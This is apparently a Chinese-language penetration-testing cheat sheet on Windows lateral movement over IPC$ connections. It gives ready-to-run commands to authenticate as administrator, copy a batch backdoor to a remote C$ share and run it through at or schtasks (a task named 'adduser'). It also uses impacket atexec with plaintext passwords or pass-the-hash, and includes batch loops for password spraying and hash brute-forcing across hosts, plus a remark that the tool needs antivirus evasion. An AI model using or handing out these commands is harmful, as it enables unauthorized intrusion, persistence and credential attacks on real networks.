#建立ipc連線並將後門新增至計劃任務
本次移動流程:嘗試建立連線(ipc)->建立計劃任務(at|schtasks)->執行命令,上傳後門
什麼是IPC?
IPC(Internet Process Connection)是共享"命名管道"的資源,它是為了讓程式間通訊而開放的命名管道,可以通過驗證使用者名稱和密碼獲得相應的許可權,在遠端管理計算機和檢視計算機的共享資源時使用。
#建立ipc常見錯誤程式碼
5:拒絕訪問,可能需要提權
52:網路問題
53:埠未開放,未開機,防火牆攔截
67:本地lanmanworkstation服務未啟動,目標刪除了ipc$
1219:提供的憑據和已存在的憑據集衝突,說明已經建立ipc$,需要先刪除
1326:賬號密碼錯誤
1792:目標NetLogon服務未啟動
2242:使用者密碼過期,目標有賬號策略,強制定期更改密碼
#失敗的原因
目標系統不是NT或者以上的作業系統
對方沒有開啟ipc$
139 445埠未開啟或被攔截
輸出命令,賬號密碼錯誤
建立ipc連線利用流程
1.建立ipc連結到目標主機(前提主機開放135 445埠)
工作組環境:
net use \\192.168.xx.xx\ipc$ "password" /user:"administrator"
域內環境:
net use \\192.168.xx.xx\ipc$ "password" /user:xxx.com\"administrator"
2.拷貝要執行的命令指令碼到目標主機
copy \\192.168.xx.xx\c$\1.bat 1.bat copy 1.bat \\192.168.xx.xx\c$ dir \\192.168.x.xx\c$\ #檢視目標主機檔案
3.檢視目標時間,建立計劃任務(at,schtasks)定時執行拷貝到的指令碼
net time \\192.168.xx.xx #檢視時間
at在windows版本小於2012下使用
at \\192.168.xx.xx 15:32 c:\1.bat #在15:32執行c盤下的1.bat
schtasks 在windows版本大於等於windows2012下使用
shctasks /create /s 192.168.xx.xx /run "system" /tn adduser /scDAILY /tr c:\1.bat /F #建立adduser任務對應批處理指令碼 schtasks /run /s 192.168.xx.xx /tn adduser /i #執行adduser任務 schtasks /delete /s 192.168.xx.xx /tn adduser /f #刪除adduser任務
4.刪除ipc連線
net use \\192.168.xx.xx\ipc$ /delete net view xx.xx.xx.xx #檢視對方共享
#利用atexec-impacket進行明文或hash傳遞
atexec.exe ./administrator:Admin12345@192.168.xx.xx "whoami" #連線本地使用者administrator atexec.exe xxx.com/administrator:Admin12345@192.168.xx.xx "whoami" #連線域使用者administrator atexec.exe -hashes:xxx ./administrator@192.168.xx.xx "whoami" #連線本地使用者administrator並進行hash傳遞執行whoami命令
缺點:由於是第三方工具容易被攔截,需要做免殺處理
#批量利用
#bat批處理命令 For /F %%i in (ips.txt) do net use \\%%i\ipc$ "password" /user:administrator #單個密碼嘗試連線多個主機 For /F %%i in(ips.txt) do atexec.exe xxx.com/administrator:password@%%i whoami #呼叫atexec.exe用單個密碼嘗試連線多個主機 For /F %%i in (pass.txt) do atexec.exe xxx.com/administrator:%%i@192.168.xx.xx whoami ##呼叫atexec.exe用多個密碼嘗試連線單個主機 For /F %%i in (hash.txt) do atexec.exe -hashes:%%i xxx.com/administrator@192.168.xx.xx whoami ##呼叫atexec.exe用多個HASH嘗試連線單個主機